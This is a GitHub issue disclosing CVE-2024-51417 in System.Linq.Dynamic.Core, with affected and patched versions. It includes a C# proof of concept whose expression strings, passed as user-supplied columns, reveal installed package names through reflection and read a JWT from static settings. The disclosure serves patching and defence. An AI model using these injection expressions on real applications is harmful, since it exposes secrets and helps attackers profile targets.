Skip to content

CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields #867

@mariusz96

Description

@mariusz96

Summary

System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.

Details

Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.

Access to static properties/fields allows just as implied.

PoC

using System.Linq.Dynamic.Core;

var customers = new List<Customer>()
{
    new Customer()
    {
        Id = 1,
        Name = "Mariusz"
    }
};

var userSuppliedColumns1 = new[]
{
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName))
    """,
    """
    string.Join(
        "\r\n",
        GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName))
    """,

    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName))
    """,
    """
    c => string.Join(
        "\r\n",
        c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName))
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns1)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

var userSuppliedColumns2 = new[]
{
    """
    AppSettings.SettingsProp["jwt"]
    """,
    """
    AppSettings.SettingsField["jwt"]
    """,

    """
    c => AppSettings.SettingsProp["jwt"]
    """,
    """
    c => AppSettings.SettingsField["jwt"]
    """
};

foreach (var userSuppliedColumn in userSuppliedColumns2)
{
    foreach (var customer in customers.AsQueryable().Select(userSuppliedColumn))
    {
        Console.WriteLine(customer);
        Console.WriteLine();
    }
}

public class Customer
{
    public int Id { get; set; }
    public string Name { get; set; }
}

public static class AppSettings
{
    public static Dictionary<string, string> SettingsProp { get; } = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };

    public static Dictionary<string, string> SettingsField = new()
    {
        { "jwt", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" }
    };
}

Impact

Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Metadata

Metadata

Assignees

Labels

Type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions